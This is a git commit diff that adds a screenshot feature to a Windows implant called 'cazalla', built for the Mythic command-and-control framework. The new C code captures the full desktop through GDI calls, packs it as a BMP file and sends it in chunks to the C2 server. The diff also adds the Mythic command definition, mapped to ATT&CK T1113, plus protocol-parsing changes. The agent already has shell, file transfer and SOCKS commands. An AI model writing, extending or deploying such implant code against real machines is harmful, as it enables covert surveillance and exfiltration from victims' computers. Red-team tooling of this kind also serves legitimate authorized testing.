screenshot implemented
This commit is contained in:
@@ -3,8 +3,8 @@ CC = x86_64-w64-mingw32-gcc
|
|||||||
|
|
||||||
# Base flags
|
# Base flags
|
||||||
CFLAGS = -Wall -w -IInclude
|
CFLAGS = -Wall -w -IInclude
|
||||||
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -mwindows
|
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -mwindows
|
||||||
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt
|
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32
|
||||||
|
|
||||||
# Debug parameters (can be overridden from command line)
|
# Debug parameters (can be overridden from command line)
|
||||||
# DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4
|
# DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4
|
||||||
|
|||||||
@@ -54,6 +54,8 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
DescargarFichero(analizadorTarea);
|
DescargarFichero(analizadorTarea);
|
||||||
} else if (tarea == UPLOAD_CMD) {
|
} else if (tarea == UPLOAD_CMD) {
|
||||||
SubirFichero(analizadorTarea);
|
SubirFichero(analizadorTarea);
|
||||||
|
} else if (tarea == SCREENSHOT_CMD) {
|
||||||
|
CapturarPantalla(analizadorTarea);
|
||||||
} else if (tarea == START_SOCKS_CMD) {
|
} else if (tarea == START_SOCKS_CMD) {
|
||||||
_dbg("Received START_SOCKS_CMD");
|
_dbg("Received START_SOCKS_CMD");
|
||||||
startSocksHandler(analizadorTarea);
|
startSocksHandler(analizadorTarea);
|
||||||
|
|||||||
@@ -10,6 +10,7 @@
|
|||||||
#include "sleep.h"
|
#include "sleep.h"
|
||||||
#include "procesos.h"
|
#include "procesos.h"
|
||||||
#include "SistemadeFicheros.h"
|
#include "SistemadeFicheros.h"
|
||||||
|
#include "screenshot.h"
|
||||||
|
|
||||||
#define SHELL_CMD 0x54
|
#define SHELL_CMD 0x54
|
||||||
#define GET_TASKING 0x00
|
#define GET_TASKING 0x00
|
||||||
@@ -31,6 +32,7 @@
|
|||||||
#define CAT_CMD 0x26
|
#define CAT_CMD 0x26
|
||||||
#define DOWNLOAD_CMD 0x27
|
#define DOWNLOAD_CMD 0x27
|
||||||
#define UPLOAD_CMD 0x28
|
#define UPLOAD_CMD 0x28
|
||||||
|
#define SCREENSHOT_CMD 0x29
|
||||||
|
|
||||||
/* New SOCKS control commands (agent-side) */
|
/* New SOCKS control commands (agent-side) */
|
||||||
#define START_SOCKS_CMD 0x60
|
#define START_SOCKS_CMD 0x60
|
||||||
|
|||||||
@@ -741,4 +741,26 @@ VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32
|
|||||||
if (path_len > 0) {
|
if (path_len > 0) {
|
||||||
addString(paquete, full_path, FALSE);
|
addString(paquete, full_path, FALSE);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Commands helper: for reporting command add/remove to Mythic */
|
||||||
|
/* Format: [0xF7 marker][action_len:4][action][cmd_len:4][cmd] */
|
||||||
|
/* action must be "add" or "remove", cmd is the command name */
|
||||||
|
VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd) {
|
||||||
|
if (!paquete || !action || !cmd) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Commands marker (0xF7)
|
||||||
|
addByte(paquete, 0xF7);
|
||||||
|
|
||||||
|
// Action length and value ("add" or "remove")
|
||||||
|
SIZE_T action_len = strlen(action);
|
||||||
|
addInt32(paquete, (UINT32)action_len);
|
||||||
|
addString(paquete, action, FALSE);
|
||||||
|
|
||||||
|
// Command name length and value
|
||||||
|
SIZE_T cmd_len = strlen(cmd);
|
||||||
|
addInt32(paquete, (UINT32)cmd_len);
|
||||||
|
addString(paquete, cmd, FALSE);
|
||||||
}
|
}
|
||||||
@@ -51,4 +51,9 @@ VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE c
|
|||||||
/* Format for upload request: [0xF8 marker][file_id_len:4][file_id][chunk_size:4][chunk_num:4][full_path_len:4][full_path] */
|
/* Format for upload request: [0xF8 marker][file_id_len:4][file_id][chunk_size:4][chunk_num:4][full_path_len:4][full_path] */
|
||||||
VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32 chunk_num, PCHAR full_path);
|
VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32 chunk_num, PCHAR full_path);
|
||||||
|
|
||||||
|
/* Commands helper: for reporting command add/remove to Mythic */
|
||||||
|
/* Format: [0xF7 marker][action_len:4][action][cmd_len:4][cmd] */
|
||||||
|
/* action must be "add" or "remove", cmd is the command name */
|
||||||
|
VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -0,0 +1,328 @@
|
|||||||
|
#include "screenshot.h"
|
||||||
|
#include "cazalla.h"
|
||||||
|
#include "paquete.h"
|
||||||
|
#include "SistemadeFicheros.h"
|
||||||
|
#include <windows.h>
|
||||||
|
#include <wingdi.h>
|
||||||
|
|
||||||
|
#pragma comment(lib, "gdi32.lib")
|
||||||
|
#pragma comment(lib, "user32.lib")
|
||||||
|
|
||||||
|
VOID CapturarPantalla(PAnalizador argumentos) {
|
||||||
|
// Match input_type=None format used by pwd: [nbArg:4][UUID(36)]
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
_inf("[screenshot] nbArg=%u, tamanoUuid=%zu", nbArg, tamanoUuid);
|
||||||
|
|
||||||
|
if (!tareaUuid || tamanoUuid != 36) {
|
||||||
|
_err("[screenshot] UUID de tarea inválido (len=%zu)", tamanoUuid);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ensure UUID is null-terminated for addString (same as download)
|
||||||
|
CHAR uuidBuffer[37] = {0};
|
||||||
|
memcpy(uuidBuffer, tareaUuid, 36);
|
||||||
|
uuidBuffer[36] = '\0';
|
||||||
|
tareaUuid = uuidBuffer;
|
||||||
|
|
||||||
|
// Prepare raw UUID bytes (36) to avoid strlen issues when adding to packets
|
||||||
|
BYTE uuidRaw[36];
|
||||||
|
memcpy(uuidRaw, tareaUuid, 36);
|
||||||
|
|
||||||
|
_inf("[screenshot] Iniciando captura de pantalla");
|
||||||
|
|
||||||
|
// Get screen dimensions
|
||||||
|
int screenWidth = GetSystemMetrics(SM_CXSCREEN);
|
||||||
|
int screenHeight = GetSystemMetrics(SM_CYSCREEN);
|
||||||
|
|
||||||
|
if (screenWidth == 0 || screenHeight == 0) {
|
||||||
|
_err("[screenshot] Error obteniendo dimensiones de pantalla");
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudieron obtener las dimensiones de pantalla\n");
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
_inf("[screenshot] Dimensiones: %dx%d", screenWidth, screenHeight);
|
||||||
|
|
||||||
|
// Get desktop DC
|
||||||
|
HDC hScreenDC = GetDC(NULL);
|
||||||
|
if (!hScreenDC) {
|
||||||
|
_err("[screenshot] Error obteniendo DC del escritorio");
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo obtener el DC del escritorio\n");
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create compatible DC and bitmap
|
||||||
|
HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
|
||||||
|
if (!hMemoryDC) {
|
||||||
|
_err("[screenshot] Error creando compatible DC");
|
||||||
|
ReleaseDC(NULL, hScreenDC);
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo crear compatible DC\n");
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create bitmap
|
||||||
|
HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, screenWidth, screenHeight);
|
||||||
|
if (!hBitmap) {
|
||||||
|
_err("[screenshot] Error creando bitmap");
|
||||||
|
DeleteDC(hMemoryDC);
|
||||||
|
ReleaseDC(NULL, hScreenDC);
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo crear bitmap\n");
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Select bitmap into memory DC
|
||||||
|
HBITMAP hOldBitmap = (HBITMAP)SelectObject(hMemoryDC, hBitmap);
|
||||||
|
|
||||||
|
// Copy screen to bitmap
|
||||||
|
if (!BitBlt(hMemoryDC, 0, 0, screenWidth, screenHeight, hScreenDC, 0, 0, SRCCOPY)) {
|
||||||
|
_err("[screenshot] Error copiando pantalla");
|
||||||
|
SelectObject(hMemoryDC, hOldBitmap);
|
||||||
|
DeleteObject(hBitmap);
|
||||||
|
DeleteDC(hMemoryDC);
|
||||||
|
ReleaseDC(NULL, hScreenDC);
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo copiar la pantalla\n");
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get bitmap info
|
||||||
|
BITMAPINFO bmpInfo = {0};
|
||||||
|
bmpInfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||||
|
bmpInfo.bmiHeader.biWidth = screenWidth;
|
||||||
|
bmpInfo.bmiHeader.biHeight = -screenHeight; // Negative for top-down DIB
|
||||||
|
bmpInfo.bmiHeader.biPlanes = 1;
|
||||||
|
bmpInfo.bmiHeader.biBitCount = 24; // RGB
|
||||||
|
bmpInfo.bmiHeader.biCompression = BI_RGB;
|
||||||
|
|
||||||
|
// Calculate bitmap data size
|
||||||
|
DWORD bmpDataSize = ((screenWidth * 3 + 3) & ~3) * screenHeight; // Align to 4 bytes
|
||||||
|
bmpInfo.bmiHeader.biSizeImage = bmpDataSize;
|
||||||
|
|
||||||
|
// Allocate buffer for bitmap data
|
||||||
|
PBYTE bmpData = (PBYTE)LocalAlloc(LPTR, bmpDataSize);
|
||||||
|
if (!bmpData) {
|
||||||
|
_err("[screenshot] Error asignando memoria para bitmap");
|
||||||
|
SelectObject(hMemoryDC, hOldBitmap);
|
||||||
|
DeleteObject(hBitmap);
|
||||||
|
DeleteDC(hMemoryDC);
|
||||||
|
ReleaseDC(NULL, hScreenDC);
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo asignar memoria\n");
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get bitmap bits
|
||||||
|
if (!GetDIBits(hScreenDC, hBitmap, 0, screenHeight, bmpData, &bmpInfo, DIB_RGB_COLORS)) {
|
||||||
|
_err("[screenshot] Error obteniendo bits del bitmap");
|
||||||
|
LocalFree(bmpData);
|
||||||
|
SelectObject(hMemoryDC, hOldBitmap);
|
||||||
|
DeleteObject(hBitmap);
|
||||||
|
DeleteDC(hMemoryDC);
|
||||||
|
ReleaseDC(NULL, hScreenDC);
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudieron obtener los bits del bitmap\n");
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create BMP file header
|
||||||
|
DWORD bmpFileSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bmpDataSize;
|
||||||
|
PBYTE bmpFile = (PBYTE)LocalAlloc(LPTR, bmpFileSize);
|
||||||
|
if (!bmpFile) {
|
||||||
|
_err("[screenshot] Error asignando memoria para archivo BMP");
|
||||||
|
LocalFree(bmpData);
|
||||||
|
SelectObject(hMemoryDC, hOldBitmap);
|
||||||
|
DeleteObject(hBitmap);
|
||||||
|
DeleteDC(hMemoryDC);
|
||||||
|
ReleaseDC(NULL, hScreenDC);
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo asignar memoria para el archivo\n");
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write BMP file header
|
||||||
|
PBITMAPFILEHEADER bmpFileHeader = (PBITMAPFILEHEADER)bmpFile;
|
||||||
|
bmpFileHeader->bfType = 0x4D42; // "BM"
|
||||||
|
bmpFileHeader->bfSize = bmpFileSize;
|
||||||
|
bmpFileHeader->bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
|
||||||
|
|
||||||
|
// Write bitmap info header
|
||||||
|
memcpy(bmpFile + sizeof(BITMAPFILEHEADER), &bmpInfo.bmiHeader, sizeof(BITMAPINFOHEADER));
|
||||||
|
|
||||||
|
// Write bitmap data
|
||||||
|
memcpy(bmpFile + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER), bmpData, bmpDataSize);
|
||||||
|
|
||||||
|
// Cleanup
|
||||||
|
LocalFree(bmpData);
|
||||||
|
SelectObject(hMemoryDC, hOldBitmap);
|
||||||
|
DeleteObject(hBitmap);
|
||||||
|
DeleteDC(hMemoryDC);
|
||||||
|
ReleaseDC(NULL, hScreenDC);
|
||||||
|
|
||||||
|
_inf("[screenshot] Captura completada: %lu bytes", bmpFileSize);
|
||||||
|
|
||||||
|
// Send screenshot as download with special path "SCREENSHOT" to identify it
|
||||||
|
// The translator will detect this and add is_screenshot: true
|
||||||
|
const DWORD CHUNK_SIZE = 512 * 1024;
|
||||||
|
DWORD totalChunks = (bmpFileSize + CHUNK_SIZE - 1) / CHUNK_SIZE;
|
||||||
|
|
||||||
|
// Send registration (EXACT same format as download)
|
||||||
|
PPaquete registroRespuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
_inf("[screenshot] DEBUG: tareaUuid=%p, uuid(len=36)='%.36s'", tareaUuid, tareaUuid);
|
||||||
|
_inf("[screenshot] DEBUG: len antes de UUID (registro) = %zu", registroRespuesta->length);
|
||||||
|
addBytes(registroRespuesta, (PBYTE)uuidRaw, 36, FALSE);
|
||||||
|
_inf("[screenshot] DEBUG: len después de UUID (registro) = %zu", registroRespuesta->length);
|
||||||
|
|
||||||
|
PPaquete salidaRegistro = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaRegistro, FALSE, "[screenshot] Captura de pantalla: %dx%d (%lu bytes, %lu chunks)\n",
|
||||||
|
screenWidth, screenHeight, bmpFileSize, totalChunks);
|
||||||
|
addBytes(registroRespuesta, (PBYTE)salidaRegistro->buffer, salidaRegistro->length, TRUE);
|
||||||
|
|
||||||
|
// Use special path "SCREENSHOT" so translator knows this is a screenshot
|
||||||
|
addDownloadRegistration(registroRespuesta, "SCREENSHOT", totalChunks, CHUNK_SIZE);
|
||||||
|
|
||||||
|
// Send registration and get file_id
|
||||||
|
PAnalizador respuestaRegistro = mandarPaquete(registroRespuesta);
|
||||||
|
liberarPaquete(salidaRegistro);
|
||||||
|
liberarPaquete(registroRespuesta);
|
||||||
|
|
||||||
|
if (!respuestaRegistro) {
|
||||||
|
_err("[screenshot] Error: No se recibió respuesta del registro\n");
|
||||||
|
LocalFree(bmpFile);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Extract file_id from response (same logic as download)
|
||||||
|
PCHAR file_id = NULL;
|
||||||
|
PBYTE buffer = respuestaRegistro->buffer;
|
||||||
|
SIZE_T len = respuestaRegistro->tamano;
|
||||||
|
|
||||||
|
for (SIZE_T i = 0; i < len - 5; i++) {
|
||||||
|
if (buffer[i] == 0xFB) {
|
||||||
|
i++; // Skip marker
|
||||||
|
if (i + 4 > len) break;
|
||||||
|
UINT32 file_id_len = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
|
||||||
|
i += 4;
|
||||||
|
if (file_id_len == 0 || file_id_len > 256 || i + file_id_len > len) break;
|
||||||
|
file_id = (PCHAR)LocalAlloc(LPTR, file_id_len + 1);
|
||||||
|
if (file_id) {
|
||||||
|
memcpy(file_id, buffer + i, file_id_len);
|
||||||
|
file_id[file_id_len] = '\0';
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!file_id) {
|
||||||
|
_err("[screenshot] Error: No se pudo extraer file_id de la respuesta\n");
|
||||||
|
liberarAnalizador(respuestaRegistro);
|
||||||
|
LocalFree(bmpFile);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
_inf("[screenshot] File ID recibido: %s\n", file_id);
|
||||||
|
liberarAnalizador(respuestaRegistro);
|
||||||
|
|
||||||
|
// Send chunks
|
||||||
|
DWORD chunkNum = 1;
|
||||||
|
DWORD offset = 0;
|
||||||
|
|
||||||
|
while (offset < bmpFileSize) {
|
||||||
|
DWORD chunkSize = (bmpFileSize - offset > CHUNK_SIZE) ? CHUNK_SIZE : (bmpFileSize - offset);
|
||||||
|
PBYTE chunkBuffer = bmpFile + offset;
|
||||||
|
|
||||||
|
_inf("[screenshot] Enviando chunk %lu/%lu (%lu bytes)\n", chunkNum, totalChunks, chunkSize);
|
||||||
|
|
||||||
|
// Build chunk POST_RESPONSE (EXACT same format as download)
|
||||||
|
PPaquete chunkRespuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
_inf("[screenshot] DEBUG: len antes de UUID (chunk %lu) = %zu", chunkNum, chunkRespuesta->length);
|
||||||
|
addBytes(chunkRespuesta, (PBYTE)uuidRaw, 36, FALSE);
|
||||||
|
_inf("[screenshot] DEBUG: len después de UUID (chunk %lu) = %zu", chunkNum, chunkRespuesta->length);
|
||||||
|
|
||||||
|
// Add empty output for download chunks
|
||||||
|
addInt32(chunkRespuesta, 0);
|
||||||
|
|
||||||
|
// Add download chunk
|
||||||
|
addDownloadChunk(chunkRespuesta, file_id, chunkNum, chunkBuffer, chunkSize);
|
||||||
|
|
||||||
|
PAnalizador respuestaChunk = mandarPaquete(chunkRespuesta);
|
||||||
|
liberarPaquete(chunkRespuesta);
|
||||||
|
if (respuestaChunk) liberarAnalizador(respuestaChunk);
|
||||||
|
|
||||||
|
offset += chunkSize;
|
||||||
|
chunkNum++;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Send final message (EXACT same format as download)
|
||||||
|
PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
_inf("[screenshot] DEBUG: len antes de UUID (final) = %zu", respuestaFinal->length);
|
||||||
|
addBytes(respuestaFinal, (PBYTE)uuidRaw, 36, FALSE);
|
||||||
|
_inf("[screenshot] DEBUG: len después de UUID (final) = %zu", respuestaFinal->length);
|
||||||
|
|
||||||
|
PPaquete salidaFinal = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaFinal, FALSE, "[screenshot] Screenshot enviado: %dx%d (%lu bytes)\n",
|
||||||
|
screenWidth, screenHeight, bmpFileSize);
|
||||||
|
addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
|
||||||
|
|
||||||
|
// Report API Call artifact for screen capture
|
||||||
|
addArtifact(respuestaFinal, "API Call", "GDI Screen Capture: GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits");
|
||||||
|
|
||||||
|
mandarPaquete(respuestaFinal);
|
||||||
|
liberarPaquete(salidaFinal);
|
||||||
|
liberarPaquete(respuestaFinal);
|
||||||
|
|
||||||
|
LocalFree(bmpFile);
|
||||||
|
LocalFree(file_id);
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef SCREENSHOT_H
|
||||||
|
#define SCREENSHOT_H
|
||||||
|
|
||||||
|
#include "analizador.h"
|
||||||
|
|
||||||
|
VOID CapturarPantalla(PAnalizador argumentos);
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
import json
|
||||||
|
|
||||||
|
|
||||||
|
class ScreenshotArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = []
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
# Screenshot command takes no arguments
|
||||||
|
pass
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary_arguments):
|
||||||
|
self.load_args_from_dictionary(dictionary_arguments)
|
||||||
|
|
||||||
|
|
||||||
|
class ScreenshotCommand(CommandBase):
|
||||||
|
cmd = "screenshot"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "screenshot"
|
||||||
|
description = "Capture a screenshot of the desktop and upload it to Mythic"
|
||||||
|
version = 1
|
||||||
|
author = "@KaseyaOFSTeam"
|
||||||
|
argument_class = ScreenshotArguments
|
||||||
|
attackmapping = ["T1113"]
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
response.DisplayParams = "Capture screenshot"
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
|
|
||||||
@@ -17,6 +17,7 @@ commands = {
|
|||||||
"cat": {"hex_code": 0x26, "input_type": "string"},
|
"cat": {"hex_code": 0x26, "input_type": "string"},
|
||||||
"download": {"hex_code": 0x27, "input_type": "string"},
|
"download": {"hex_code": 0x27, "input_type": "string"},
|
||||||
"upload": {"hex_code": 0x28, "input_type": "string"},
|
"upload": {"hex_code": 0x28, "input_type": "string"},
|
||||||
|
"screenshot": {"hex_code": 0x29, "input_type": None},
|
||||||
# Added SOCKS control commands
|
# Added SOCKS control commands
|
||||||
"start_socks": {"hex_code": 0x60, "input_type": "int"},
|
"start_socks": {"hex_code": 0x60, "input_type": "int"},
|
||||||
"stop_socks": {"hex_code": 0x61, "input_type": None},
|
"stop_socks": {"hex_code": 0x61, "input_type": None},
|
||||||
|
|||||||
@@ -169,10 +169,65 @@ def parse_process_list(output_text):
|
|||||||
|
|
||||||
def postResponse(data):
|
def postResponse(data):
|
||||||
print(f"Tamaño del Base64 recibido: {len(data)} bytes")
|
print(f"Tamaño del Base64 recibido: {len(data)} bytes")
|
||||||
|
print(f"[DEBUG] Primeros 100 bytes (hex): {data[:100].hex()}")
|
||||||
|
print(f"[DEBUG] Primeros 100 bytes (repr): {repr(data[:100])}")
|
||||||
|
|
||||||
resTaks = []
|
resTaks = []
|
||||||
uuidTask = data[:36]
|
|
||||||
data = data[36:]
|
# The format after removing POST_RESPONSE byte should be: [UUID tarea (36)][output_len (4)][output][...]
|
||||||
|
# But the logs show it starts with output_len, so UUID might be missing
|
||||||
|
# Try to detect UUID by looking for hyphen pattern at positions 8, 13, 18, 23
|
||||||
|
uuidTask = None
|
||||||
|
offset = 0
|
||||||
|
|
||||||
|
# Check if data starts with output_len (4 bytes, can be 0-4294967295, likely < 10MB for text output)
|
||||||
|
# If first 4 bytes look like a length (reasonable size), UUID might not be here
|
||||||
|
potential_len = None
|
||||||
|
if len(data) >= 4:
|
||||||
|
potential_len = int.from_bytes(data[0:4], 'big')
|
||||||
|
print(f"[DEBUG] Primeros 4 bytes como int: {potential_len}")
|
||||||
|
|
||||||
|
# If potential_len looks reasonable (< 10MB), data might start directly with output_len
|
||||||
|
# This means UUID was already removed - we'll need to get it from somewhere else
|
||||||
|
if potential_len is not None and potential_len < 10 * 1024 * 1024 and potential_len > 0:
|
||||||
|
print(f"[DEBUG] Data parece empezar con output_len ({potential_len}), UUID probablemente no está aquí")
|
||||||
|
# The UUID is missing from the packet - this is a protocol issue
|
||||||
|
# For now, use a placeholder and let Mythic handle it
|
||||||
|
uuidTask = b"00000000-0000-0000-0000-000000000000"
|
||||||
|
offset = 0
|
||||||
|
print("[WARN] UUID de tarea no está en el paquete - problema de protocolo")
|
||||||
|
else:
|
||||||
|
# Try to find UUID starting at offset 0
|
||||||
|
if len(data) >= 36:
|
||||||
|
potential_uuid = data[offset:offset+36]
|
||||||
|
try:
|
||||||
|
uuid_str = potential_uuid.decode('ascii')
|
||||||
|
# Check if it looks like a UUID (format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)
|
||||||
|
if len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and uuid_str[18] == '-' and uuid_str[23] == '-':
|
||||||
|
uuidTask = potential_uuid
|
||||||
|
offset = 36
|
||||||
|
print(f"[DEBUG] UUID de tarea detectado en offset 0: {uuid_str}")
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# If not found, try at offset 36 (might be UUID agente at offset 0)
|
||||||
|
if not uuidTask and len(data) >= 72:
|
||||||
|
potential_uuid = data[36:72]
|
||||||
|
try:
|
||||||
|
uuid_str = potential_uuid.decode('ascii')
|
||||||
|
if len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and uuid_str[18] == '-' and uuid_str[23] == '-':
|
||||||
|
uuidTask = potential_uuid
|
||||||
|
offset = 72
|
||||||
|
print(f"[DEBUG] UUID de tarea detectado en offset 36: {uuid_str}")
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if not uuidTask:
|
||||||
|
print("[WARN] No se pudo encontrar UUID de tarea válido, usando placeholder")
|
||||||
|
uuidTask = b"00000000-0000-0000-0000-000000000000"
|
||||||
|
offset = 0
|
||||||
|
|
||||||
|
data = data[offset:]
|
||||||
|
|
||||||
# Extract output, but handle case where output might be empty (e.g., download chunks)
|
